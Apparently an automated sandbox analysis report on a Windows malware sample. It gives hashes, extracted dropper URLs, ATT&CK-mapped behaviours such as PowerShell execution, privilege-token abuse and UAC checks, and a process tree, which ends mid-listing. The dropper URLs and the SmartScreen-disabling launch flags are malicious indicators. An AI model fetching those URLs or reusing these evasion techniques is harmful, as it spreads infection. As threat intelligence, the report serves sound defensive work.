58bf3b381781c4e3bcac6e5d9a7cd29fbec44b590aadb00640534f5431598819

Analysis

max time kernel
102s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
Size 9.2MB
Sample260720-dda8jafy61
SHA256 58bf3b381781c4e3bcac6e5d9a7cd29fbec44b590aadb00640534f5431598819
MD5 89c679fe093cb1669e3a6ccda60c9f9d
SHA1 f3cef7c399cd8b4d9c4ab13a75bc86599e7591d6
SHA512 0d682e3cdb7ffcec7cfa84026e0ed4e10e361f3b41f3758a18a64bf86148966e78b05eadda7f0bd43aa121cb4c4cabef11eb3b0d7badec3c9087f3b0792d9e75
SSDEEP 98304:TWF0n7x09cmPV6N98SgS9l/jvlQP9aX/wqxMxzJQK2PwDOcksTZhWCbMzXmjbm:dn7xK6N979vyaXdy5ksTMzXm
TLSH
T196A66E03F66250F8C06AC174831AE633F736B88D592476BF2BA45B312E6AF506F1D758
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=EventBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=NewsBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=AdminCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=ForceGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BanCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=RegisterBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BroadcastGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=TrialBooster

Signatures

Badlisted process makes network request 18 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5676	powershell.exe
18	5676	powershell.exe
19	464	powershell.exe
20	528	powershell.exe
23	464	powershell.exe
24	1260	powershell.exe
25	1420	powershell.exe
26	1948	powershell.exe
27	1260	powershell.exe
28	1420	powershell.exe
29	1948	powershell.exe
32	1920	powershell.exe
37	1920	powershell.exe
38	1672	powershell.exe
39	5092	powershell.exe
41	5092	powershell.exe
43	3324	powershell.exe
48	3324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 62 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5676	powershell.exe
1912	powershell.exe
900	powershell.exe
4548	powershell.exe
5600	powershell.exe
5564	powershell.exe
5344	powershell.exe
4212	powershell.exe
2428	powershell.exe
3896	powershell.exe
4920	powershell.exe
4620	powershell.exe
3840	powershell.exe
2092	powershell.exe
2740	powershell.exe
5192	powershell.exe
2744	powershell.exe
5032	powershell.exe
904	powershell.exe
4332	powershell.exe
3700	powershell.exe
3036	powershell.exe
5320	powershell.exe
1092	powershell.exe
2056	powershell.exe
4260	powershell.exe
5004	powershell.exe
848	powershell.exe
4556	powershell.exe
3420	powershell.exe
1940	powershell.exe
4280	powershell.exe
1476	powershell.exe
5712	powershell.exe
5496	powershell.exe
3276	powershell.exe
3936	powershell.exe
2532	powershell.exe
4088	powershell.exe
1828	powershell.exe
5488	powershell.exe
916	powershell.exe
3652	powershell.exe
5020	powershell.exe
4068	powershell.exe
1180	powershell.exe
5692	powershell.exe
4712	powershell.exe
2876	powershell.exe
3500	powershell.exe
1284	powershell.exe
528	powershell.exe
464	powershell.exe
1260	powershell.exe
1420	powershell.exe
1920	powershell.exe
1672	powershell.exe
3324	powershell.exe
1948	powershell.exe
2344	powershell.exe
4692	powershell.exe
5092	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5216_1627502322\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5216_1627502322\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5216_1627502322\protocols.json	msedgewebview2.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5384	powershell.exe
3544	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
5676	powershell.exe
5676	powershell.exe
5676	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
464	powershell.exe
464	powershell.exe
5384	powershell.exe
5384	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
528	powershell.exe
528	powershell.exe
1092	powershell.exe
1092	powershell.exe
3544	powershell.exe
3544	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4280	powershell.exe
4280	powershell.exe
5384	powershell.exe
464	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4280	powershell.exe
3544	powershell.exe
528	powershell.exe
1092	powershell.exe
1476	powershell.exe
1476	powershell.exe
3500	powershell.exe
3500	powershell.exe
1476	powershell.exe
3500	powershell.exe
1260	powershell.exe
1260	powershell.exe
1420	powershell.exe
1420	powershell.exe
1260	powershell.exe
1420	powershell.exe
1948	powershell.exe
1948	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
1948	powershell.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
2344	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
5216	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	5384	powershell.exe
Token: SeDebugPrivilege	528	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeIncreaseQuotaPrivilege	5384	powershell.exe
Token: SeSecurityPrivilege	5384	powershell.exe
Token: SeTakeOwnershipPrivilege	5384	powershell.exe
Token: SeLoadDriverPrivilege	5384	powershell.exe
Token: SeSystemProfilePrivilege	5384	powershell.exe
Token: SeSystemtimePrivilege	5384	powershell.exe
Token: SeProfSingleProcessPrivilege	5384	powershell.exe
Token: SeIncBasePriorityPrivilege	5384	powershell.exe
Token: SeCreatePagefilePrivilege	5384	powershell.exe
Token: SeBackupPrivilege	5384	powershell.exe
Token: SeRestorePrivilege	5384	powershell.exe
Token: SeShutdownPrivilege	5384	powershell.exe
Token: SeDebugPrivilege	5384	powershell.exe
Token: SeSystemEnvironmentPrivilege	5384	powershell.exe
Token: SeRemoteShutdownPrivilege	5384	powershell.exe
Token: SeUndockPrivilege	5384	powershell.exe
Token: SeManageVolumePrivilege	5384	powershell.exe
Token: 33	5384	powershell.exe
Token: 34	5384	powershell.exe
Token: 35	5384	powershell.exe
Token: 36	5384	powershell.exe
Token: SeIncreaseQuotaPrivilege	4280	powershell.exe
Token: SeSecurityPrivilege	4280	powershell.exe
Token: SeTakeOwnershipPrivilege	4280	powershell.exe
Token: SeLoadDriverPrivilege	4280	powershell.exe
Token: SeSystemProfilePrivilege	4280	powershell.exe
Token: SeSystemtimePrivilege	4280	powershell.exe
Token: SeProfSingleProcessPrivilege	4280	powershell.exe
Token: SeIncBasePriorityPrivilege	4280	powershell.exe
Token: SeCreatePagefilePrivilege	4280	powershell.exe
Token: SeBackupPrivilege	4280	powershell.exe
Token: SeRestorePrivilege	4280	powershell.exe
Token: SeShutdownPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeSystemEnvironmentPrivilege	4280	powershell.exe
Token: SeRemoteShutdownPrivilege	4280	powershell.exe
Token: SeUndockPrivilege	4280	powershell.exe
Token: SeManageVolumePrivilege	4280	powershell.exe
Token: 33	4280	powershell.exe
Token: 34	4280	powershell.exe
Token: 35	4280	powershell.exe
Token: 36	4280	powershell.exe
Token: SeIncreaseQuotaPrivilege	3544	powershell.exe
Token: SeSecurityPrivilege	3544	powershell.exe
Token: SeTakeOwnershipPrivilege	3544	powershell.exe
Token: SeLoadDriverPrivilege	3544	powershell.exe
Token: SeSystemProfilePrivilege	3544	powershell.exe
Token: SeSystemtimePrivilege	3544	powershell.exe
Token: SeProfSingleProcessPrivilege	3544	powershell.exe
Token: SeIncBasePriorityPrivilege	3544	powershell.exe
Token: SeCreatePagefilePrivilege	3544	powershell.exe
Token: SeBackupPrivilege	3544	powershell.exe
Token: SeRestorePrivilege	3544	powershell.exe
Token: SeShutdownPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	3544	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 5216	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	88
PID 5216 wrote to memory of 1164	5216	msedgewebview2.exe	89
PID 5216 wrote to memory of 208	5216	msedgewebview2.exe	90
PID 5216 wrote to memory of 208	5216	msedgewebview2.exe	90
PID 5216 wrote to memory of 208	5216	msedgewebview2.exe	90
PID 5216 wrote to memory of 208	5216	msedgewebview2.exe	90
PID 5216 wrote to memory of 2432	5216	msedgewebview2.exe	91
PID 5216 wrote to memory of 4976	5216	msedgewebview2.exe	92
PID 5216 wrote to memory of 4976	5216	msedgewebview2.exe	92
PID 5216 wrote to memory of 4976	5216	msedgewebview2.exe	92
PID 5216 wrote to memory of 3964	5216	msedgewebview2.exe	93
PID 5216 wrote to memory of 3964	5216	msedgewebview2.exe	93
PID 5216 wrote to memory of 3964	5216	msedgewebview2.exe	93
PID 5216 wrote to memory of 3964	5216	msedgewebview2.exe	93
PID 5216 wrote to memory of 3964	5216	msedgewebview2.exe	93
PID 3464 wrote to memory of 5676	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	94
PID 3464 wrote to memory of 3544	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	96
PID 3464 wrote to memory of 464	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 3464 wrote to memory of 5384	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	98
PID 3464 wrote to memory of 528	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	99
PID 3464 wrote to memory of 1092	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	100
PID 3464 wrote to memory of 4280	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	106
PID 3464 wrote to memory of 1476	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	108
PID 3464 wrote to memory of 3500	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	110
PID 3464 wrote to memory of 1260	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	114
PID 3464 wrote to memory of 1420	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	116
PID 3464 wrote to memory of 1948	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	118
PID 3464 wrote to memory of 1284	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	120
PID 3464 wrote to memory of 2344	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	178
PID 3464 wrote to memory of 1920	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	124
PID 3464 wrote to memory of 4692	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	170
PID 3464 wrote to memory of 1672	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	133
PID 3464 wrote to memory of 2056	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	134
PID 3464 wrote to memory of 5712	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	136
PID 3464 wrote to memory of 4088	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	139
PID 3464 wrote to memory of 5344	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	141
PID 3464 wrote to memory of 3840	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	174
PID 3464 wrote to memory of 5092	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	144
PID 3464 wrote to memory of 2092	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	147
PID 3464 wrote to memory of 4260	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	148
PID 3464 wrote to memory of 5004	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	151
PID 3464 wrote to memory of 1912	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	152
PID 3464 wrote to memory of 5032	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	155
PID 3464 wrote to memory of 848	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	157
PID 3464 wrote to memory of 4556	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	159
PID 3464 wrote to memory of 900	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	161
PID 3464 wrote to memory of 904	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	163
PID 3464 wrote to memory of 3324	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	165
PID 3464 wrote to memory of 1828	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	167
PID 3464 wrote to memory of 3420	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	169
PID 3464 wrote to memory of 4332	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	171
PID 3464 wrote to memory of 4068	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	173
PID 3464 wrote to memory of 4212	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	175
PID 3464 wrote to memory of 5496	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	177
PID 3464 wrote to memory of 4548	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	179
PID 3464 wrote to memory of 2428	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	181
PID 3464 wrote to memory of 2740	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	183
PID 5216 wrote to memory of 3112	5216	msedgewebview2.exe	185
PID 5216 wrote to memory of 3112	5216	msedgewebview2.exe	185
PID 5216 wrote to memory of 3112	5216	msedgewebview2.exe	185
PID 3464 wrote to memory of 3700	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	186
PID 3464 wrote to memory of 5600	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	188
PID 3464 wrote to memory of 5192	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	190
PID 3464 wrote to memory of 3896	3464	2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	192

C:\Users\Admin\AppData\Local\Temp\2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=3464.3184.12864755044797188629 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:5216
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView /prefetch:4 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffeb7ad5fd8,0x7ffeb7ad5fe4,0x7ffeb7ad5ff0
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1568 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:208
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2172 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:2432
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2232 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:4976
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-07-20_89c679fe093cb1669e3a6ccda60c9f9d_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3380 --field-trial-handle=1740,i,13375091684988902269,7094957153228562918,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa /prefetch:1
    3⤵
    PID:3964
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
